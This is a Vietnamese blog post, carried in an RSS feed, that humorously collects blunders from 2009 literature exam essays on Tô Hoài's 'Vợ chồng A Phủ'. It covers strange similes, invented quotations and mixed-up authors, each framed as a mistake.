Mị sinh ra trong 1 gia đình nghèo, nghèo từ trong trứng nghèo ra.&lt;br /&gt;&lt;br /&gt;- Khi A Sử thay đồ chuẩn bị đi chơi. Mỵ cũng xin A Sử cho đi theo nhưng A Sử không cho mà còn đánh đập, trụt quần và trói Mỵ vào cái cột.&lt;br /&gt;&lt;br /&gt;- Mỵ muốn được chơi nhảy như bao người khác. Hình dáng Mỵ đẹp tuyệt trần, đôi mắt long lanh lúc nào cũng buồn, hàm răng đẹp, gò má cao, đầu tóc dài xinh đến không thể tả được chỉ có một cái là Mỵ hơi ốm một tí mà thôi. Nhớ tới Mị là em nhớ đến những thiếu nữ Hà Nội tha thướt bên Hồ Gươm chiều chủ nhật.&lt;br /&gt;&lt;br /&gt;- Vợ chồng thống lí đại diện cho phái ác. Hắn ức hiếp Mị, làm cho Mị không có lối thoát, còn vợ hắn thì lấy cớ đó đánh đập tàn nhẫn cho rằng Mị đụ dỗ chồng bà ta.&lt;br /&gt;&lt;br /&gt;- Tô Hoài như đang đùa giỡn khi xây dựng Mị như vậy... Có lẽ Tô Hoài cũng đau xót. Nhưng thật khó để mà hiểu biết được một tác giả lớn Tô Hoài: vùi dập, khai mở rồi lại vùi dập. Những hy vọng sống của Mị lại bị A Sử cho đi vào ngõ hẻm.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt;&lt;b&gt;3 - Những câu văn so sánh thuộc hàng... siêu so sánh&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;- Khi A Phủ đến thuê cho nhà thống lí với công việc chăn trâu, sau một thời gian qua Mị vẫn ngồi trong chuồng heo, giống một con heo đang tìm chỗ trốn mà cứ người khác.&lt;br /&gt;&lt;br /&gt;- Người nhà Pa tra đánh cho A Phủ đến ngất sỉu (xỉu) rồi đổ nước cho tỉnh lại. Thể hiện con người nhà thống lí độc ác, dã man, đánh người đánh như con chó.&lt;br /&gt;&lt;br /&gt;- Được thả A Phủ chạy ra khỏi nhà thống lí như một con trâu điên và vài phút do dự, sửa sang lại trang phục Mị đã chạy theo A Phủ như mây bay, gió thổi.&lt;br /&gt;&lt;br /&gt;- Có thể thấy, việc Tô Hoài xây dựng một con người với những phẩm chất đẹp đang bị vùi dập và đang như tan chảy giống như phiến băng để trên một lò lửa, tan ra và khi chỉ còn là nước nó chỉ chờ đủ độ 100 độ c để sôi thôi.&lt;br /&gt;&lt;br /&gt;- Sông Hương to như một con thuồng luồng đực cụp đuôi, to lớn, lượn quanh những khúc cua của đường đua công thức một...Sông Huơng với ba màu khác nhau có lúc là màu tím của gương mặt người thấm đẫm rượu say.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;4 - Những dẫn chứng ví dụ... độc chiêu&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;- "Quê hương tôi có con sông xanh biếc.&lt;br /&gt;Nước chảy mãi hai bên bờ."&lt;br /&gt;&lt;br /&gt;Trong bài thơ Nhớ con sông quê hương của nhà thơ Tế Hanh, chúng tôi chưa bao giờ thấy có câu thơ thứ hai như thí sinh đã dẫn: "Nước chảy mãi hai bên bờ".&lt;br /&gt;&lt;br /&gt;- "Trong tập sáng tác ca dao tục ngữ Việt Nam có câu:&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt;&lt;i&gt;Giang hồ hiểm ác anh không sợ&lt;br /&gt;Chỉ sợ đường về vắng bóng em&lt;/i&gt;&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt;Anh tôi đã "lấy 2 câu thơ làm của riêng". Chỉ câu nói ấy thôi mang anh đã tán được nhiều người, người ấy bây giờ mà tôi gọi là "chị hai". Đã thấy được sức hút của việc đọc sách làm cho con người ta sống vui tươi và hạnh phúc hơn".&lt;br /&gt;&lt;br /&gt;Vừa dẫn ca dao tục ngữ, vừa chứng minh về tác dụng, ảnh hưởng của nó đối với đời sống tình cảm của anh trai mình. Đúng là một ví dụ khó ai mà nghĩ ra được!&lt;br /&gt;&lt;br /&gt;&lt;b&gt;5 - Râu ông nọ cắm cằm bà kia&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;- Đang giới thiệu về Tô Hoài lại chuyển sang nói về Tố Hữu; chẳng ăn nhập vào đâu: "Tô Hoài là một trong những cây bút văn xuôi hay nhất nền thơ ca Việt Nam hiện đại. Thơ Tố Hữu trữ tình lãng mạn luôn nói về những số phận đâu (đau) thương của con người và lên án sự bất công của các thế mạnh đã đem đến cho con người."&lt;br /&gt;&lt;br /&gt;- Đề bài yêu cầu làm về Vợ chồng A Phủ, thì một thí sinh lại say sưa phân tích về các nhân vật trong Vợ Nhặt của Kim Lân đến 3 trang. Giám khảo chào thua. &lt;/span&gt;&lt;/p&gt; &lt;span style=";font-family:Arial;font-size:85%;"  &gt;Xin dẫn một đoạn: "Nạn đói trong năm 1975 thât khủng kiếp. Nạn đói tràn đến xóm ngụ cư, mọi người lâm vào tình trạng khốn khổ vô cùng. Tô Hoài đã miêu tả không gian trên đường Tràng về nhà thật bi thảm...."&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/311452429647504548-8286502302454295385?l=canhnm.opensource.com.vn' alt='' /&gt;&lt;/div&gt;</description><link>http://canhnm.opensource.com.vn/2009/06/nhung-van-bat-hu-ki-thi-2009.html</link><author>noreply@blogger.com (canhnm)</author><thr:total>0</thr:total></item></channel></rss>
